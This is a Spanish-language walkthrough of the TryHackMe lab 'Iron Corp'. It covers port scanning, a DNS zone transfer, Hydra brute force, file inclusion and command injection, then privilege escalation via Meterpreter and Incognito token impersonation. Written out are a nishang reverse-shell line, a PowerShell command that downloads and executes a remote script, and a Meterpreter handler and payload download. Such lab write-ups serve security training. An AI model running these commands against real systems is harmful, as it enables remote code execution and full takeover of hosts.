Iron Corp es una maquina de TryHackMe, enumeramos subdominios con dig, con Hydra realizamos ataque de contraseñas a uno de los subdominios donde encontramos una vulnerabilidad LFI y donde realizamos Command Injection para obtener acceso por medio de una shell en PowerShell. Escalamos privilegios utilizando Metasploit con Incognito y un token que encontramos.
Room
Titulo |
Iron Corp |
Descripción |
Can you get access to Iron Corp’s system? |
Puntos |
160 |
Dificultad |
Dificil |
Maker |
MrSeth6797 |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto http (8080), rdp (3889) y el puerto dns (53) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
# Nmap 7.80 scan initiated Sat May 9 00:53:02 2020 as: nmap -Pn -T5 -p1-65535 -o scan_allports ironcorp.me
Nmap scan report for ironcorp.me (10.10.84.168)
Host is up (0.33s latency).
Not shown: 65528 filtered ports
PORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
11025/tcp open unknown
49667/tcp open unknown
49670/tcp open unknown
# Nmap done at Sat May 9 01:00:44 2020 -- 1 IP address (1 host up) scanned in 462.74 seconds
# Nmap 7.80 scan initiated Sat May 9 01:12:08 2020 as: nmap -Pn -sV -sC -p53,135,3389,8080,11025,49667,49670 -o scan_allports_big ironcorp.me
Nmap scan report for ironcorp.me (10.10.84.168)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
135/tcp open msrpc Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-8VMBKF3G815
| NetBIOS_Domain_Name: WIN-8VMBKF3G815
| NetBIOS_Computer_Name: WIN-8VMBKF3G815
| DNS_Domain_Name: WIN-8VMBKF3G815
| DNS_Computer_Name: WIN-8VMBKF3G815
| Product_Version: 10.0.14393
|_ System_Time: 2020-05-09T06:14:42+00:00
| ssl-cert: Subject: commonName=WIN-8VMBKF3G815
| Not valid before: 2020-04-12T18:27:11
|_Not valid after: 2020-10-12T18:27:11
|_ssl-date: 2020-05-09T06:14:55+00:00; 0s from scanner time.
8080/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent
11025/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.4
|_http-title: Coming Soon - Start Bootstrap Theme
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=5/9%Time=5EB649C4%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 9 01:14:55 2020 -- 1 IP address (1 host up) scanned in 167.13 seconds
|
HTTP 8080
En el puerto 8080 encontramos una pagina en la que vemos un dashboard.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
root@upset:~/thm/ironcorp# gobuster dir -u http://ironcorp.me:8080/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/calendar.html (Status: 200)
/forms.html (Status: 200)
/icons.html (Status: 200)
/index.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/profile.html (Status: 200)
/register.html (Status: 200)
root@upset:~/thm/ironcorp#
|
DIG - DNS Enumeration
Utilizamos DIG
para obtener informacion de los DNS.
Hacemos una transferencia de zona y encontramos dos nuevos subdominios.
Nuevamente ejecutamos Gobuster en los nuevos dos subdominios y encontramos las mismas direcciones que en el dominio principal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
root@upset:~/thm/ironcorp# gobuster dir -u http://internal.ironcorp.me:8080/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/calendar.html (Status: 200)
/forms.html (Status: 200)
/icons.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/profile.html (Status: 200)
/register.html (Status: 200)
root@upset:~/thm/ironcorp# gobuster dir -u http://admin.ironcorp.me:8080/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/calendar.html (Status: 200)
/forms.html (Status: 200)
/icons.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/profile.html (Status: 200)
/register.html (Status: 200)
root@upset:~/thm/ironcorp#
|
En los tres subdominios encontramos la misma pagina estatica.
HTTP 11025
En el puerto 11025 encontramos una pagina en la que vemos un formulario de email.
En el subdominio internal.ironcorp.me
al parecer no tiene nada
En el subdominio admin.ironcorp.me
una autenticacion basica
Nuevamente ejecutamos Gobuster en el dominio principal pero no encontramos nada interesante.
1
2
3
4
5
6
7
8
9
10
11
|
root@upset:~/thm/ironcorp# gobuster dir -u http://ironcorp.me:11025/ -w /usr/share/wordlists/dirb/common.txt -q -t 50 -x php,html,txt,aspx,asp -s 200,301
/css (Status: 301)
/img (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/js (Status: 301)
/license (Status: 200)
/LICENSE (Status: 200)
/vendor (Status: 301)
root@upset:~/thm/ironcorp#
|
HYDRA
Utilizamos hydra para realizar un ataque de fuerza bruta en el subdominio admin.ironcorp.me
, logramos encontrar las credenciales.
LFI/Command Injection - Admin Area
En el subdominio en el que encontramos las credenciales al iniciar sesion nos muestra una pagina en la que contiene un input para realizar querys.
Al realizar alguna busqueda o query no nos devuelve ningun resultado, intentamos realizar un RFI mediante una shell php, asp, apsx, pero ninguna de estas funcionó, solamente nos trae el codigo fuente y lo muestra en la pagina más no lo ejecuta.
Intentamos leer archivos de sistema como index.php
pero no logra obtener el archivo incluso utilizando localhost:11025/index.php
, pero para poder obtener el codigo de esta pagina podemos utilizar el propio dominio y/o subdominio que tiene la maquina en su archivo c:\Windows\System32\Drivers\etc\hosts
para que la propia maquina reconozca su subdominio y obtenga el codigo fuente.
Al hacer esto encontramos un subdominio que si funcionó y nos trajo el codigo fuente del index.php
, donde nos muestra un mensaje.
Al dirigirnos a la direccion que nos muestra, al parecer no tenemos permisos para ver el archivo.
Le pasamos el dominio con la pagina para obtener su codigo fuente como la pagina de index.php anterior y logramos ver que el codigo se ejecuta y se muestra en la pagina, pero no nos muestra el codigo fuente.
Le pasamos un nombre como parametro y se muestra en la pagina.
Intentamos ejecutar codigos en la maquina con Command Injection utilizando shell scape
. Logramos obtener la ejecucion de whoami
y vemos que el usuario tiene permisos de super usuario (nt authority\system).
SHELL - Administrator
Utilizamos una de las shells que tiene nishang Invoke-PowerShellTcp.ps1, en nuestro archivo Invoke-PowerShellTcp.ps1 agregamos la siguiente linea al final del archivo para ejecutar nuestra shell inversa cuando este sea descargado, con la IP y el puerto al que se va a conectar.
1
|
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 1338
|
El comando que vamos a ejecutar en la maquina es el siguiente, para ejecutar nuestra shell
1
|
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.10.10/Invoke-PowerShellTcp.ps1')
|
Por alguna razon no acepta los espacios y hay que codificar nuestro comando dos veces para que se ejecute
Ejecutamos y logramos obtener nuestra shell
Y nuestra primera flag user.txt
PRIVILEGE ESCALATION
Utilizamos metasploit para conseguir una shell meterpreter utilizando un payload en powershell.
metasploit
msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 1337; set ExitOnSession false; exploit -j"
shell
powershell -command "& { iwr 10.10.10.10/meterpreter-64.ps1 -OutFile C:\Users\Administrator\Desktop\meterpreter-64.ps1 }"
Import-Module .\meterpreter-64.ps1
Logramos obtener una sesion en meterpreter y los hashes de los usuarios :)
Pero lastimosamente no podemos utilizar estas credenciales ya que no existe algun servicio en donde podamos utilizarlas, es por eso que utilizamos incognito
para poder obtener los tokens del usuario Admin
, utilizarlas y obtener nuestra flag root.txt y una shell con ese usuario.
Listamos las tokens y las utilizamos.